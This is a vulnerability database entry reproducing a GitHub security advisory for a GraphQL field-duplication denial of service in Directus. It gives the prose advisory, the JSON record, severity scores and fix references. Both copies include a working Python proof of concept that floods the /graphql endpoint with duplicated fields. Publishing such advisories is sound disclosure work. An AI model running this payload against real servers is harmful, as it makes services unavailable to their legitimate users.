GHSA-7HMH-PFRP-VCX4
Vulnerability from github – Published: 2024-07-08 18:41 – Updated: 2024-11-18 16:26Summary
A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.
Details
Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:
By modifying the data sent and duplicating many times the fields a DoS attack is possible.
PoC
The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.
{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}
Although that payload seems harmless, a bigger one leaves the service unresponsive.
The following code might serve as a PoC written in Python3: ```# Field Duplication DoS
GitHub @asantof
import requests
CHANGE THIS VALUES: url, auth_token, query_name, collection_name
url = 'http://0.0.0.0:8055/graphql' auth_token = '' query_name = 'query_XXXXX' collection_name = ''
headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', }
id_payload = 'id ' * 200 max_payload = 'max {' + id_payload + ' } ' full_payload = max_payload * 200
data = { 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }' }
print(data)
response = requests.post(url, headers=headers, json=data)
print(response.json()) ```
After running it the service will be unresponsive for a while:
Impact
The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@directus/env"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39895"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-08T18:41:00Z",
"nvd_published_at": "2024-07-08T17:15:11Z",
"severity": "HIGH"
},
"details": "### Summary\nA denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.\n\n### Details\nRequest to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:\n\n\n\n\n\nBy modifying the data sent and duplicating many times the fields a DoS attack is possible. \n\n### PoC\nThe goal is to create a payload that generates a body like this, where the \u0027max\u0027 field is duplicated many times, each with the \u0027id\u0027 field duplicated many times inside it.\n`{\u0027query\u0027: \u0027query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }\u0027}`\n\nAlthough that payload seems harmless, a bigger one leaves the service unresponsive. \n\nThe following code might serve as a PoC written in Python3:\n```# Field Duplication DoS \n# GitHub @asantof\n\nimport requests\n\n## CHANGE THIS VALUES: url, auth_token, query_name, collection_name\nurl = \u0027http://0.0.0.0:8055/graphql\u0027\nauth_token = \u0027\u0027 \nquery_name = \u0027query_XXXXX\u0027 \ncollection_name = \u0027\u0027 \n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027Authorization\u0027: f\u0027Bearer {auth_token}\u0027,\n}\n\nid_payload = \u0027id \u0027 * 200\nmax_payload = \u0027max {\u0027 + id_payload + \u0027 } \u0027\nfull_payload = max_payload * 200\n\ndata = {\n \u0027query\u0027: \u0027query { \u0027 + query_name + \u0027: \u0027 + collection_name + \u0027_aggregated { \u0027 + full_payload + \u0027 } }\u0027\n}\n\nprint(data)\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n```\n\n\n\n\nAfter running it the service will be unresponsive for a while:\n\n\n\n### Impact\nThe vulnerability impacts the service\u0027s availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.",
"id": "GHSA-7hmh-pfrp-vcx4",
"modified": "2024-11-18T16:26:50Z",
"published": "2024-07-08T18:41:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39895"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Directus GraphQL Field Duplication Denial of Service (DoS)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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